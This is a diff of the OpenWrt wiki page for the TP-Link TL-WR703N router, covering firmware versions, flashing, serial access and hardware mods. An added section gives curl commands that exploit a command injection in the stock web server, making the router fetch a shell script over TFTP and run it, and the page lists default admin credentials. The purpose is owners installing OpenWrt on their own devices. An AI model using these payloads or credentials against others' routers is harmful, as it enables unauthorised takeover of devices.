User Tools

Site Tools


toh:tp-link:tl-wr703n

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
toh:tp-link:tl-wr703n [2014/08/08 15:08]
aind
toh:tp-link:tl-wr703n [2015/05/10 19:28] (current)
erth64net Formatting cleanups
Line 3: Line 3:
  
 {{:​media:​toh:​tp-link:​tl-wr703n:​tl-wr703n.jpg?​400|TP-Link TL-WR703N}}  ​ {{:​media:​toh:​tp-link:​tl-wr703n:​tl-wr703n.jpg?​400|TP-Link TL-WR703N}}  ​
- 
- 
  
 ===== Clones ===== ===== Clones =====
Line 18: Line 16:
 | v1.7 | December 2012 (FW build 121204) | AA(12.09)| AA confirmed working, trunk (r36641) broken| | v1.7 | December 2012 (FW build 121204) | AA(12.09)| AA confirmed working, trunk (r36641) broken|
 | v1.7 | April 2014 (3.17.1 Build 140120 Rel.56593n) | Unsupported| trunk(r40351) not work| | v1.7 | April 2014 (3.17.1 Build 140120 Rel.56593n) | Unsupported| trunk(r40351) not work|
-| v1.6(?) | March 2013 (FW build 130318) | AA(12.09) | AA confirmed working, trunk not tested | +| v1.7 | April 2014 (3.17.1 Build 140120 Rel.56593n) | Trunk (r45157) | [[http://​wiki.openwrt.org/​toh/​tp-link/​tl-wr703n?&#​tftp_install_necessary_on_v17_hardware|confirmed working]], Chaos Calmer, trunk (r45157) | 
-| v1.6(?) | March 2013 (FW build 130321, original FW rel. 37153n) | Trunk(r41336) | AA confirmed working, Trunk too |+| v1.6(?) | March 2013 (FW build 130318) | BB(14.07) | AA confirmed working, BB too, trunk not tested | 
 +| v1.6(?) | March 2013 (FW build 130321, original FW rel. 37153n) | Trunk(r41336) | AA confirmed working, BB too, Trunk too 
 +| v1.6(?) | June 2013 (FW build 130625) | AA(12.09) | AA confirmed working, Trunk not tested ​|
  
 Unlike many newer TP-Link devices, there appears to be no hardware differences between the version for the Chinese market and the version for the international market. Unlike many newer TP-Link devices, there appears to be no hardware differences between the version for the Chinese market and the version for the international market.
  
-It was the first device that utilized the AR9331 chipset to be ported to OpenWrt. Newer TP-Link devices (such as the TL-WR741ND v4.x also use AR9331). +It was the first device that utilized the AR9331 chipset to be ported to OpenWrt. Newer TP-Link devices (such as the [[toh:​tp-link:​tl-wr741nd|TL-WR741ND]] v4.x also use AR9331).
 ===== Features ===== ===== Features =====
   * Atheros AR7240 CPU (400Mhz)   * Atheros AR7240 CPU (400Mhz)
Line 40: Line 39:
  
   - Please see [[doc:​howto:​generic.flashing]] for a generic description of the OpenWrt installation process.   - Please see [[doc:​howto:​generic.flashing]] for a generic description of the OpenWrt installation process.
- 
  
 ==== Building Custom Images ==== ==== Building Custom Images ====
 :!: If you've got a modified version of this hardware which has 16MB of flash, then you will not be able to **build** images larger than 4MB, even though the bootloader will allow you to subsequently utilize all 16MB of flash (i.e. by adding packages after firstboot). ​ See http://​wiki.openwrt.org/​toh/​tp-link/​tl-wr703n#​mb.flash.mod for how to solve this problem. :!: If you've got a modified version of this hardware which has 16MB of flash, then you will not be able to **build** images larger than 4MB, even though the bootloader will allow you to subsequently utilize all 16MB of flash (i.e. by adding packages after firstboot). ​ See http://​wiki.openwrt.org/​toh/​tp-link/​tl-wr703n#​mb.flash.mod for how to solve this problem.
-   +    ​
 ===== Warnings / Gotchas =====  ​ ===== Warnings / Gotchas =====  ​
 Please check the firmware version first, either:​  ​ Please check the firmware version first, either:​  ​
Line 52: Line 49:
   * ** DO NOT RELY ON THE VERSION GIVEN BY THE EXTERNAL STICKER ON CASE BOTTOM ** : it may report falsely "​1.6",​ even if the firmware is actually a V1.7     * ** DO NOT RELY ON THE VERSION GIVEN BY THE EXTERNAL STICKER ON CASE BOTTOM ** : it may report falsely "​1.6",​ even if the firmware is actually a V1.7  
    
-{{:​meta:​icons:​tango:​48px-dialog-warning.svg.png?​nolink}} **WARNING __If you have a V1.7 firmware, ​current ​OpenWrt ​trunk (r36641) will brick  +{{:​meta:​icons:​tango:​48px-dialog-warning.svg.png?​nolink}} **WARNING __If you have a V1.7 firmware, ​SOME OpenWrt ​trunks ​(e.g. r36641) will brick your router, unless you have access to the serial console!__ ​ NEWER TRUNKS will install without issue via tftp and will work fine. **
-your router, unless you have access to the serial console!__ **  +
  
 Below is the version of the new bootloader (which disables the LAN port) of a version 1.7 hardware model (bought in December 2012).  ​ Below is the version of the new bootloader (which disables the LAN port) of a version 1.7 hardware model (bought in December 2012).  ​
Line 63: Line 59:
 For more info visit this forum topic:​  ​ For more info visit this forum topic:​  ​
 https://​forum.openwrt.org/​viewtopic.php?​id=40986 https://​forum.openwrt.org/​viewtopic.php?​id=40986
 +
 +Firmware rev.140120 has admin1/​admin1 set for web login/​password
  
 ==== Power consumption === ==== Power consumption ===
Line 80: Line 78:
 Note that the pads can very easily be lifted. ​ There is slightly more mechanical strength if you can solder to the surface-mount components to which the pads are connected--but this also takes care--your device could easily be destroyed. ​ Make sure that your connection is secured so that tension cannot be applied to the solder points when you connect to an external device. Note that the pads can very easily be lifted. ​ There is slightly more mechanical strength if you can solder to the surface-mount components to which the pads are connected--but this also takes care--your device could easily be destroyed. ​ Make sure that your connection is secured so that tension cannot be applied to the solder points when you connect to an external device.
  
 +==== Flashing ====
  
 +v1.6 and older: upload the latest stable version via the web interface (default: 192.168.1.1 / admin / admin).
 +**Note:** that the factory default web interface won't accept a file with a long name. Rename it to openwrt.bin and you won't get a "23002 Error"​.
  
- ==== Flashing ==== +v1.7 hardware running 3.17.1 Build 140120 Rel.56593n will reject OpenWRT installation via the web interface, install via [[http://wiki.openwrt.org/​toh/tp-link/tl-wr703n?&#​tftp_install_necessary_on_v17_hardware|tftp instead]].
- +
-Upload the latest snapshot via the web interface (default: 192.168.1.1 / admin / admin). +
- +
-Download latest ​[[http://downloads.openwrt.org/​attitude_adjustment/12.09/​ar71xx/​generic/​openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin|squashfs-factory.bin]] or [[http://​downloads.openwrt.org/​attitude_adjustment/​12.09/​ar71xx/​generic/​openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin|squashfs-sysupgrade.bin]] firmware for WR703N. +
- +
-Note that the factory default web interface won't accept a file with a long name. Rename it to openwrt.bin and you won't get a "23002 Error"​. +
- +
-For systems without a web interface, you can flash a sysupgrade file with mtd:+
  
-  cd /tmp +Download latest [[http://​downloads.openwrt.org/​barrier_breaker/14.07/ar71xx/generic/​openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin|squashfs-factory.bin]] for the initial flash. Use a "sysupgrade" file for any future updates if already on openwrt.
-  wget http://​downloads.openwrt.org/​snapshots/trunk/​ar71xx/​openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin +
-  sysupgrade openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin +
-  reboot+
  
 To flash from the Chinese web interface, at the present time you would select the last menu item on the left, and then the third submenu item.  This initiates a popup with two buttons--the upper right one allows you to browse to find the file you want to flash on your PC, the lower left one initiates the flash. To flash from the Chinese web interface, at the present time you would select the last menu item on the left, and then the third submenu item.  This initiates a popup with two buttons--the upper right one allows you to browse to find the file you want to flash on your PC, the lower left one initiates the flash.
Line 128: Line 118:
 {{:​toh:​tp-link:​tl-wr703n_bottom.jpg?​400|}} {{:​toh:​tp-link:​tl-wr703n_bottom.jpg?​400|}}
  
-{{:​media:​toh:​tp-link:​tl-wr703n:​tp-link_wr703n_top-pcb-gpio.jpg?​400|TP-Link TL-WR703N with GPIO and Power}}+{{:​media:​toh:​tp-link:​tl-wr703n:​tp-link_wr703n_top-pcb-gpio_2.jpg?​400|TP-Link TL-WR703N with GPIO and Power}}
  
 On first image you can see the serial connector labeled TP_IN and TP_OUT on the bottom right. GND is right next to it on the right pin of C55. On first image you can see the serial connector labeled TP_IN and TP_OUT on the bottom right. GND is right next to it on the right pin of C55.
Line 135: Line 125:
  
 Hi Res images here : https://​plus.google.com/​u/​0/​photos/​107211980242732541247/​albums/​5737162394063705409/​5737162392085444242 Hi Res images here : https://​plus.google.com/​u/​0/​photos/​107211980242732541247/​albums/​5737162394063705409/​5737162392085444242
 +
 +===== TFTP Install Necessary on v1.7 hardware =====
 +I've setup over 15 of the v1.7 hardware nodes with Chaos Calmer trunk r45157, with some nodes running non-stop for weeks without issue. WiFi, USB and ethernet works great; mostly using the WR703n'​s to support [[http://​virtualhere.com/​|VirtualHere]] USB-over-IP services. While this works great for me, this could brick your device: //proceed at your own risk//.
 +
 +Huge thanks to Interdev for the [[https://​forum.openwrt.org/​viewtopic.php?​pid=264171#​p264171|original sketch]]. Below are the specific steps that works beautifully for me.
 +
 +==== Create Files ====
 +Obtain a static BusyBox binary:
 +<​code>​
 +curl http://​busybox.net/​downloads/​binaries/​latest/​busybox-mips > busybox
 +</​code>​
 +
 +Download OpenWRT:
 +<​code>​
 +curl https://​downloads.openwrt.org/​snapshots/​trunk/​ar71xx/​generic/​openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
 +</​code>​
 +
 +Cut the OpenWRT image into 2 parts (this could probably be made faster, or more space-efficient,​ but I haven'​t researched details):
 +<​code>​
 +dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
 +dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
 +</​code>​
 +
 +Create a file named "​aa",​ using the following contents. Don't forget to replace 192.168.0.9 with the IP of your tftp server.
 +<​code>​
 +cd /tmp
 +tftp -gl i1 192.168.0.9
 +tftp -gl i2 192.168.0.9
 +tftp -gl busybox 192.168.0.9
 +chmod 755 busybox ​
 +./busybox dd if=i1 of=/​dev/​mtdblock1 conv=fsync
 +./busybox dd if=i2 of=/​dev/​mtdblock2 conv=fsync
 +./busybox reboot -f
 +</​code>​
 +
 +Now you should have 5 files in your TFTP server'​s folder:
 +  * openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
 +  * busybox
 +  * i1
 +  * i2
 +  * aa
 +
 +==== Install OpenWRT ====
 +Use the following commands to install OpenWRT on a stock/​factory Chinese v1.7 TL-WR703N running 3.17.1 Build 140120. Assuming you have a Linux or BSD-based TFTP server, just run the commands from there. **DO NOT POWER OFF EQUIPMENT! INTERRUPTING IT WILL BRICK (and you need a 3.3V serial to revive it).**
 +
 +Again, replace 192.168.0.9 with the IP of your TFTP server, and 192.168.0.100 with the IP assigned to the WR703N.
 +
 +Each of the following steps are necessary, don't skip them.
 +
 +=== Set password to admin42 ===
 +This is only necessary to complete the OpenWRT install, password will be reset to the [[doc:​howto:​firstlogin|default OpenWRT password]] upon completion of your install.
 +<​code>​
 +curl -o - -b '​tLargeScreenP=1;​ subType=pcSub;​ Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;​ ChgPwdSubTag=true'​ '​http://​192.168.0.100/'​
 +</​code>​
 +=== Enable parental control ===
 +<​code>​
 +curl -o - -b '​tLargeScreenP=1;​ subType=pcSub;​ Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;​ ChgPwdSubTag='​ --referer '​http://​192.168.0.100/​userRpm/​ParentCtrlRpm.htm'​ '​http://​192.168.0.100/​userRpm/​ParentCtrlRpm.htm?​ctrl_enable=1&​parent_mac_addr=00-00-00-00-00-02&​Page=1'​
 +</​code>​
 +=== Now, exploit a vulnerability in the stock/​factory httpd ===
 +The following exploit will run these commands on your WR703N:
 +
 +//cd /tmp ; tftp -gl aa 192.168.0.9;​ sh aa//
 +
 +**DO NOT POWER OFF EQUIPMENT! INTERRUPTING THIS WILL BRICK THE WR703N! **
 +<​code>​
 +curl -o - -b '​tLargeScreenP=1;​ subType=pcSub;​ Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;​ ChgPwdSubTag='​ --referer '​http://​192.168.0.100/​userRpm/​ParentCtrlRpm.htm?​Modify=0&​Page=1'​ '​http://​192.168.0.100/​userRpm/​ParentCtrlRpm.htm?​child_mac=00-00-00-00-00-01&​lan_lists=888&​url_comment=test&​url_0=;​cd%20/​tmp;&​url_1=;​tftp%20-gl%20aa%20192.168.0.9;&​url_2=;​sh%20aa;&​url_3=&​url_4=&​url_5=&​url_6=&​url_7=&​scheds_lists=255&​enable=1&​Changed=1&​SelIndex=0&​Page=1&​rule_mode=0&​Save=%B1%A3+%B4%E6'​
 +</​code>​
 +
 +Wait until the WR703N starts to blink; OpenWRT is now loading. Check your DHCP server, ARP table, or use nmap, to find the IP address. See [[doc:​howto:​firstlogin|OpenWrt – First Login]] for login instructions. ​
  
 ===== Hardware summary ===== ===== Hardware summary =====
Line 795: Line 854:
  
 The most easy approach is to seek for a 4-chip DDR 256 MB module. These all have x16 chips too. Chips only on one side (not to be confused with double-sided 256 MB modules with 4 chips on each side) and only 4 of them - that's the best chance to get some. They represent a small percent among usual 8-chip modules but this is equalized with the amount and "cheap as dirt" price of such DDR 256 MB modules. The most easy approach is to seek for a 4-chip DDR 256 MB module. These all have x16 chips too. Chips only on one side (not to be confused with double-sided 256 MB modules with 4 chips on each side) and only 4 of them - that's the best chance to get some. They represent a small percent among usual 8-chip modules but this is equalized with the amount and "cheap as dirt" price of such DDR 256 MB modules.
 +
 +Chip can also be salvaged from dead HDD with 64Mb cache, for example 2Tb Western Digital WD2002FYPS
  
 Working chips: Working chips:
   * Hynix HY5DU121622DTP-D43 (From Mustang DDR SO-DIMM 512 MB)   * Hynix HY5DU121622DTP-D43 (From Mustang DDR SO-DIMM 512 MB)
   * Hynix HY5DU121622CTP-D43 (From Hynix  DDR SO-DIMM PC2700S-25330 512MB DDR 333MHz CL 2.5, chips are 400Mhz compatible due to "​D43"​ marking.) ​   * Hynix HY5DU121622CTP-D43 (From Hynix  DDR SO-DIMM PC2700S-25330 512MB DDR 333MHz CL 2.5, chips are 400Mhz compatible due to "​D43"​ marking.) ​
 +  * Hynix HY5DU121622AT-J (From DDR 256MB PC400 (BUD968RA))
   * Infineon HYB25D512160BE (From Infineon DDR SO-DIMM 512 MB)   * Infineon HYB25D512160BE (From Infineon DDR SO-DIMM 512 MB)
   * Elpida EDD5116ADTA-6B-E (From Elpida DDR SO-DIMM 512 MB)   * Elpida EDD5116ADTA-6B-E (From Elpida DDR SO-DIMM 512 MB)
   * Elpida EDD5116AFTA-5B-E (From Elpida DDR SO-DIMM 512 MB)   * Elpida EDD5116AFTA-5B-E (From Elpida DDR SO-DIMM 512 MB)
   * Alliance AS4C32M16D1-5TCN (From [[http://​www.digikey.com/​product-detail/​en/​AS4C32M16D1-5TCN/​1450-1006-ND/​4234565|DigiKey]],​ $2.76)   * Alliance AS4C32M16D1-5TCN (From [[http://​www.digikey.com/​product-detail/​en/​AS4C32M16D1-5TCN/​1450-1006-ND/​4234565|DigiKey]],​ $2.76)
- 
 **Additional list that may work:** **Additional list that may work:**
  
Line 947: Line 1008:
  
 http://​www.superwrt.eu/​en/​firmware/​tp-link-wr703n/​ http://​www.superwrt.eu/​en/​firmware/​tp-link-wr703n/​
 +
 +Note: Luci is integrated in all released (i.e. not nightly snapshot) builds of OpenWrt, so no need to get SuperWRT just for integrated Luci. 
  
  
toh/tp-link/tl-wr703n.1407503300.txt.bz2 · Last modified: 2014/08/08 15:08 by aind